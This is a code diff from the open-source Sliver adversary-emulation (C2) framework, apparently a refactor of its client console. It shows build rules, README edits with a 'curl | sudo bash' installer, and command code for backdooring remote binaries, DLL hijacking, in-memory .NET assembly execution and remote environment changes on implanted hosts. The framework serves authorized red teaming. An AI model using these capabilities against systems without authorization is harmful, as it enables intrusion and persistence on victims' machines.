GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean pb
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean pb
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=plugins=grpc,paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: clean-all
clean-all: clean
@@ -115,8 +135,5 @@ clean-all: clean
.PHONY: clean
clean:
rm -f ./protobuf/client/*.pb.go
rm -f ./protobuf/sliver/*.pb.go
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
+8 -6
View File
@@ -1,13 +1,11 @@
Sliver
======
⚠️ __Notice:__ Sliver is currently in __beta__, you've been warned :) and please consider [contributing](/CONTRIBUTING.md)
Sliver is an open source, cross-platform adversary simulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
@@ -17,8 +15,8 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
* [Fully scriptable](https://github.com/moloch--/sliver-script)
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
@@ -30,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+4 -2
View File
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+9
View File
@@ -0,0 +1,9 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
+100
View File
@@ -19,15 +19,29 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+25 -1
View File
@@ -25,7 +25,9 @@ import (
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
@@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
err := console.StartClientConsole()
err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
func Execute() {
if err := rootCmd.Execute(); err != nil {
@@ -1,4 +1,4 @@
package console
package cli
/*
Sliver Implant Framework
+10
View File
@@ -2,3 +2,13 @@ Command
=======
This package contains all of the client command implementations that are shared between the client and the server console.
### Developers
General guidance on the structure of this package:
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
* The root command, and reused code should go into the file named after the command
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
+4
View File
@@ -0,0 +1,4 @@
Backdoor
========
Implements command related to `backdoor`
+66
View File
@@ -0,0 +1,66 @@
package backdoor
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
remoteFilePath := ctx.Args.String("remote-file")
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if backdoor.Response != nil && backdoor.Response.Err != "" {
con.PrintErrorf("%s\n", backdoor.Response.Err)
return
}
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
}
File diff suppressed because it is too large. Load diff
-50
View File
@@ -1,50 +0,0 @@
package command
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
fmt.Println(Warn + "Please select an active session via `use`")
return
}
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
remoteFilePath := ctx.Args[0]
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
go spin.Until(msg, ctrl)
backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if backdoor.Response != nil && backdoor.Response.Err != "" {
fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
return
}
fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
}
-175
View File
@@ -1,175 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
const (
// ANSI Colors
normal = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
orange = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
gray = "\033[37m"
bold = "\033[1m"
clearln = "\r\x1b[2K"
upN = "\033[%dA"
downN = "\033[%dB"
underline = "\033[4m"
// Info - Display colorful information
Info = bold + cyan + "[*] " + normal
// Warn - Warn a user
Warn = bold + red + "[!] " + normal
// Debug - Display debug information
Debug = bold + purple + "[-] " + normal
// Woot - Display success
Woot = bold + green + "[$] " + normal
)
var (
// ActiveSession - The current sliver we're interacting with
ActiveSession = &activeSession{
observers: map[int]Observer{},
observerID: 0,
}
stdinReadTimeout = 10 * time.Millisecond
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type activeSession struct {
session *clientpb.Session
observers map[int]Observer
observerID int
}
// GetInteractive - GetInteractive the active session
func (s *activeSession) GetInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
}
return s.session
}
// Get - Same as Get() but doesn't print a warning
func (s *activeSession) Get() *clientpb.Session {
if s.session == nil {
return nil
}
return s.session
}
// AddObserver - Observers to notify when the active session changes
func (s *activeSession) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *activeSession) RemoveObserver(observerID int) {
if _, ok := s.observers[observerID]; ok {
delete(s.observers, observerID)
}
}
func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.session.ID,
Timeout: int64(timeout),
}
}
// Set - Change the active session
func (s *activeSession) Set(session *clientpb.Session) {
s.session = session
for _, observer := range s.observers {
observer(s.session)
}
}
// Background - Background the active session
func (s *activeSession) Background() {
s.session = nil
for _, observer := range s.observers {
observer(nil)
}
}
// GetSession - Get session by session ID or name
func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
return session
}
}
return nil
}
// GetSessionsByName - Return all sessions for an Implant by name
func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil
}
matched := []*clientpb.Session{}
for _, session := range sessions.GetSessions() {
if session.Name == name {
matched = append(matched, session)
}
}
return matched
}
// This should be called for any dangerous (OPSEC-wise) functions
func isUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
File diff suppressed because it is too large. Load diff
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
-69
View File
@@ -1,69 +0,0 @@
package command
import (
"context"
"fmt"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
var name string
if len(ctx.Args) > 0 {
name = ctx.Args[0]
}
envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
for _, envVar := range envInfo.Variables {
fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
}
func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
if len(ctx.Args) != 2 {
fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
return
}
name := ctx.Args[0]
value := ctx.Args[1]
envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{
Key: name,
Value: value,
},
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if envInfo.Response != nil && envInfo.Response.Err != "" {
fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
return
}
fmt.Printf(Info+"set %s to %s\n", name, value)
}
+4
View File
@@ -0,0 +1,4 @@
Environment
===========
Contains command implementations for manipulating remote environment variables.
@@ -1,4 +1,4 @@
package console
package environment
/*
Sliver Implant Framework
@@ -19,33 +19,32 @@ package console
*/
import (
"fmt"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf(Warn+"No config files found at %s or -import\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
fmt.Printf(Info+"Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Connection to server failed %v", err)
return nil
con.PrintErrorf("%s\n", err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
defer ln.Close()
return Start(rpc, func(*grumble.App, rpcpb.SliverRPCClient) {})
}
+60
View File
@@ -0,0 +1,60 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
name := ctx.Args.String("name")
value := ctx.Args.String("value")
if name == "" || value == "" {
con.PrintErrorf("Usage: setenv KEY VALUE\n")
return
}
envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Set %s to %s\n", name, value)
}
@@ -1,4 +1,4 @@
package command
package environment
/*
Sliver Implant Framework
@@ -20,41 +20,38 @@ package command
import (
"context"
"fmt"
"regexp"
//consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func setCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
// Option to change the agent name
name := ctx.Flags.String("name")
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
name := ctx.Args.String("name")
if name == "" {
fmt.Printf(Warn + "please provide a session name\n")
return
}
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
fmt.Printf(Warn + "Name must be in alphanumeric only\n")
con.PrintErrorf("Usage: setenv NAME\n")
return
}
session, err := rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: ActiveSession.session.ID,
Name: name,
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
ActiveSession.Set(session)
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
}
+4
View File
@@ -0,0 +1,4 @@
Exec
====
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
+105
View File
@@ -0,0 +1,105 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(filePath) == ".dll" {
isDLL = true
}
if isDLL {
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
return
}
}
assemblyBytes, err := ioutil.ReadFile(filePath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if executeAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
+179
View File
@@ -0,0 +1,179 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"fmt"
